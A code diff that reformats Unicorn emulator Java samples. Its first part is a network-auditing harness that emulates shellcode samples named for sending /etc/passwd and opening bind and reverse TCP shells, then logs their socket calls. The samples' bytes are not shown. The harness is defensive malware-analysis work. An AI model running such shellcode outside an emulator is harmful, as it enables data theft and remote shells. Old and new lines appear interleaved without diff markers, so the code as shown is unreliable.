} while (c != 0);
|
||||
|
||||
private static class LogChain {
|
||||
public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
|
||||
public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
|
||||
return ret.toString();
|
||||
}
|
||||
|
||||
public void clean() {
|
||||
__chains.clear();
|
||||
__linking_fds.clear();
|
||||
}
|
||||
static String parse_sock_address(byte[] sock_addr) {
|
||||
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
|
||||
|
||||
public void create_chain(long id) {
|
||||
if (!__chains.containsKey(id)) {
|
||||
__chains.put(id, new ArrayList<String>());
|
||||
}
|
||||
else {
|
||||
System.out.printf("LogChain: id %d existed\n", id);
|
||||
}
|
||||
}
|
||||
if (sin_family == 2) { // AF_INET
|
||||
int sin_port =
|
||||
((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
|
||||
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff,
|
||||
sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff,
|
||||
sin_port);
|
||||
} else if (sin_family == 6) // AF_INET6
|
||||
return "";
|
||||
return null;
|
||||
}
|
||||
|
||||
public void add_log(long id, String msg) {
|
||||
long fd = get_original_fd(id);
|
||||
|
||||
if (fd != -1) {
|
||||
__chains.get(fd).add(msg);
|
||||
}
|
||||
else {
|
||||
System.out.printf("LogChain: id %d doesn't exist\n", id);
|
||||
}
|
||||
}
|
||||
static void print_sockcall(String msg) {
|
||||
System.out.printf(">>> SOCKCALL %s\n", msg);
|
||||
}
|
||||
// end utilities
|
||||
|
||||
public void link_fd(long from_fd, long to_fd) {
|
||||
if (!__linking_fds.containsKey(to_fd)) {
|
||||
__linking_fds.put(to_fd, new ArrayList<Long>());
|
||||
}
|
||||
|
||||
__linking_fds.get(to_fd).add(from_fd);
|
||||
}
|
||||
|
||||
public long get_original_fd(long fd) {
|
||||
if (__chains.containsKey(fd)) {
|
||||
return fd;
|
||||
}
|
||||
|
||||
for (Long orig_fd : __linking_fds.keySet()) {
|
||||
if (__linking_fds.get(orig_fd).contains(fd))
|
||||
return orig_fd;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
static void test_i386(byte[] code) {
|
||||
fd_chains.clean();
|
||||
System.out.printf("Emulate i386 code\n");
|
||||
try {
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
|
||||
public void print_report() {
|
||||
System.out.printf("\n----------------");
|
||||
System.out.printf("\n| START REPORT |");
|
||||
System.out.printf("\n----------------\n\n");
|
||||
for (Long fd : __chains.keySet()) {
|
||||
System.out.printf("---- START FD(%d) ----\n", fd);
|
||||
System.out.println(join(__chains.get(fd), "\n"));
|
||||
System.out.printf("---- END FD(%d) ----\n", fd);
|
||||
}
|
||||
System.out.printf("\n--------------");
|
||||
System.out.printf("\n| END REPORT |");
|
||||
System.out.printf("\n--------------\n\n");
|
||||
}
|
||||
}
|
||||
// end supported classes
|
||||
// map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// utilities
|
||||
static String read_string(Unicorn uc, long addr) {
|
||||
StringBuilder ret = new StringBuilder();
|
||||
char c;
|
||||
do {
|
||||
c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
|
||||
if (c != 0) {
|
||||
ret.append(c);
|
||||
}
|
||||
} while (c != 0);
|
||||
|
||||
return ret.toString();
|
||||
}
|
||||
// write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code);
|
||||
|
||||
static String parse_sock_address(byte[] sock_addr) {
|
||||
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
|
||||
|
||||
if (sin_family == 2) { // AF_INET
|
||||
int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
|
||||
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
|
||||
}
|
||||
else if (sin_family == 6) // AF_INET6
|
||||
return "";
|
||||
return null;
|
||||
}
|
||||
// initialize stack
|
||||
mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L);
|
||||
|
||||
static void print_sockcall(String msg) {
|
||||
System.out.printf(">>> SOCKCALL %s\n", msg);
|
||||
}
|
||||
// end utilities
|
||||
// handle interrupt ourself
|
||||
mu.hook_add(new MyInterruptHook(), null);
|
||||
|
||||
static void test_i386(byte[] code) {
|
||||
fd_chains.clean();
|
||||
System.out.printf("Emulate i386 code\n");
|
||||
try {
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code);
|
||||
|
||||
// initialize stack
|
||||
mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L);
|
||||
|
||||
// handle interrupt ourself
|
||||
mu.hook_add(new MyInterruptHook(), null);
|
||||
|
||||
// emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.printf(">>> Emulation done\n");
|
||||
// emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
|
||||
|
||||
} catch (UnicornException uex) {
|
||||
System.out.printf("ERROR: %s\n", uex.getMessage());
|
||||
}
|
||||
// now print out some registers
|
||||
System.out.printf(">>> Emulation done\n");
|
||||
|
||||
fd_chains.print_report();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_i386(X86_SEND_ETCPASSWD);
|
||||
test_i386(X86_BIND_TCP);
|
||||
test_i386(X86_REVERSE_TCP);
|
||||
test_i386(X86_REVERSE_TCP_2);
|
||||
}
|
||||
} catch (UnicornException uex) {
|
||||
System.out.printf("ERROR: %s\n", uex.getMessage());
|
||||
}
|
||||
|
||||
fd_chains.print_report();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_i386(X86_SEND_ETCPASSWD);
|
||||
test_i386(X86_BIND_TCP);
|
||||
test_i386(X86_REVERSE_TCP);
|
||||
test_i386(X86_REVERSE_TCP_2);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -7,124 +7,125 @@ import unicorn.*;
|
||||
|
||||
public class Sample_arm {
|
||||
|
||||
// code to be emulated
|
||||
public static final byte[] ARM_CODE = {55,0,(byte)0xa0,(byte)0xe3,3,16,66,(byte)0xe0}; // mov r0, #0x37; sub r1, r2, r3
|
||||
public static final byte[] THUMB_CODE = {(byte)0x83, (byte)0xb0}; // sub sp, #0xc
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
// code to be emulated
|
||||
public static final byte[] ARM_CODE =
|
||||
{ 55, 0, (byte) 0xa0, (byte) 0xe3, 3, 16, 66, (byte) 0xe0 }; // mov r0, #0x37; sub r1, r2, r3
|
||||
public static final byte[] THUMB_CODE = { (byte) 0x83, (byte) 0xb0 }; // sub sp, #0xc
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data)
|
||||
{
|
||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_arm()
|
||||
{
|
||||
|
||||
Long r0 = 0x1234L; // R0 register
|
||||
Long r2 = 0x6789L; // R1 register
|
||||
Long r3 = 0x3333L; // R2 register
|
||||
Long r1; // R1 register
|
||||
|
||||
System.out.print("Emulate ARM code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, ARM_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R0, r0);
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R2, r2);
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R3, r3);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r0 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R0);
|
||||
r1 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R1);
|
||||
System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue()));
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
static void test_thumb()
|
||||
{
|
||||
|
||||
Long sp = 0x1234L; // R0 register
|
||||
|
||||
System.out.print("Emulate THUMB code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, THUMB_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM_REG_SP, sp);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
sp = (Long)u.reg_read(Unicorn.UC_ARM_REG_SP);
|
||||
System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_arm();
|
||||
System.out.print("==========================\n");
|
||||
test_thumb();
|
||||
}
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
|
||||
size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_arm() {
|
||||
|
||||
Long r0 = 0x1234L; // R0 register
|
||||
Long r2 = 0x6789L; // R1 register
|
||||
Long r3 = 0x3333L; // R2 register
|
||||
Long r1; // R1 register
|
||||
|
||||
System.out.print("Emulate ARM code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, ARM_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R0, r0);
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R2, r2);
|
||||
u.reg_write(Unicorn.UC_ARM_REG_R3, r3);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r0 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R0);
|
||||
r1 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R1);
|
||||
System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue()));
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
static void test_thumb() {
|
||||
|
||||
Long sp = 0x1234L; // R0 register
|
||||
|
||||
System.out.print("Emulate THUMB code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, THUMB_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM_REG_SP, sp);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
sp = (Long) u.reg_read(Unicorn.UC_ARM_REG_SP);
|
||||
System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_arm();
|
||||
System.out.print("==========================\n");
|
||||
test_thumb();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -28,88 +28,90 @@ import unicorn.*;
|
||||
|
||||
public class Sample_arm64 {
|
||||
|
||||
// code to be emulated
|
||||
public static final byte[] ARM_CODE = {-85,1,15,-117}; // add x11, x13, x15
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// code to be emulated
|
||||
public static final byte[] ARM_CODE = { -85, 1, 15, -117 }; // add x11, x13, x15
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_arm64()
|
||||
{
|
||||
|
||||
Long x11 = 0x1234L; // X11 register
|
||||
Long x13 = 0x6789L; // X13 register
|
||||
Long x15 = 0x3333L; // X15 register
|
||||
|
||||
System.out.print("Emulate ARM64 code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, ARM_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X11, x11);
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X13, x13);
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X15, x15);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
x11 = (Long)u.reg_read(Unicorn.UC_ARM64_REG_X11);
|
||||
System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_arm64();
|
||||
}
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
|
||||
size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_arm64() {
|
||||
|
||||
Long x11 = 0x1234L; // X11 register
|
||||
Long x13 = 0x6789L; // X13 register
|
||||
Long x15 = 0x3333L; // X15 register
|
||||
|
||||
System.out.print("Emulate ARM64 code\n");
|
||||
|
||||
// Initialize emulator in ARM mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, ARM_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X11, x11);
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X13, x13);
|
||||
u.reg_write(Unicorn.UC_ARM64_REG_X15, x15);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
x11 = (Long) u.reg_read(Unicorn.UC_ARM64_REG_X11);
|
||||
System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_arm64();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,150 +28,161 @@ import unicorn.*;
|
||||
|
||||
public class Sample_m68k {
|
||||
|
||||
// code to be emulated
|
||||
public static final byte[] M68K_CODE = {118,-19}; // movq #-19, %d3
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// code to be emulated
|
||||
public static final byte[] M68K_CODE = { 118, -19 }; // movq #-19, %d3
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_m68k()
|
||||
{
|
||||
Long d0 = 0x0000L; // d0 data register
|
||||
Long d1 = 0x0000L; // d1 data register
|
||||
Long d2 = 0x0000L; // d2 data register
|
||||
Long d3 = 0x0000L; // d3 data register
|
||||
Long d4 = 0x0000L; // d4 data register
|
||||
Long d5 = 0x0000L; // d5 data register
|
||||
Long d6 = 0x0000L; // d6 data register
|
||||
Long d7 = 0x0000L; // d7 data register
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
Long a0 = 0x0000L; // a0 address register
|
||||
Long a1 = 0x0000L; // a1 address register
|
||||
Long a2 = 0x0000L; // a2 address register
|
||||
Long a3 = 0x0000L; // a3 address register
|
||||
Long a4 = 0x0000L; // a4 address register
|
||||
Long a5 = 0x0000L; // a5 address register
|
||||
Long a6 = 0x0000L; // a6 address register
|
||||
Long a7 = 0x0000L; // a6 address register
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
Long pc = 0x0000L; // program counter
|
||||
Long sr = 0x0000L; // status register
|
||||
|
||||
System.out.print("Emulate M68K code\n");
|
||||
|
||||
// Initialize emulator in M68K mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, M68K_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D0, d0);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D1, d1);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D2, d2);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D3, d3);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D4, d4);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D5, d5);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D6, d6);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D7, d7);
|
||||
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A0, a0);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A1, a1);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A2, a2);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A3, a3);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A4, a4);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A5, a5);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A6, a6);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A7, a7);
|
||||
|
||||
u.reg_write(Unicorn.UC_M68K_REG_PC, pc);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_SR, sr);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing all instruction
|
||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
d0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D0);
|
||||
d1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D1);
|
||||
d2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D2);
|
||||
d3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D3);
|
||||
d4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D4);
|
||||
d5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D5);
|
||||
d6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D6);
|
||||
d7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D7);
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
a0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A0);
|
||||
a1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A1);
|
||||
a2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A2);
|
||||
a3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A3);
|
||||
a4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A4);
|
||||
a5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A5);
|
||||
a6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A6);
|
||||
a7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A7);
|
||||
|
||||
pc = (Long)u.reg_read(Unicorn.UC_M68K_REG_PC);
|
||||
sr = (Long)u.reg_read(Unicorn.UC_M68K_REG_SR);
|
||||
|
||||
System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0.intValue(), d0.intValue()));
|
||||
System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1.intValue(), d1.intValue()));
|
||||
System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2.intValue(), d2.intValue()));
|
||||
System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3.intValue(), d3.intValue()));
|
||||
System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4.intValue(), d4.intValue()));
|
||||
System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5.intValue(), d5.intValue()));
|
||||
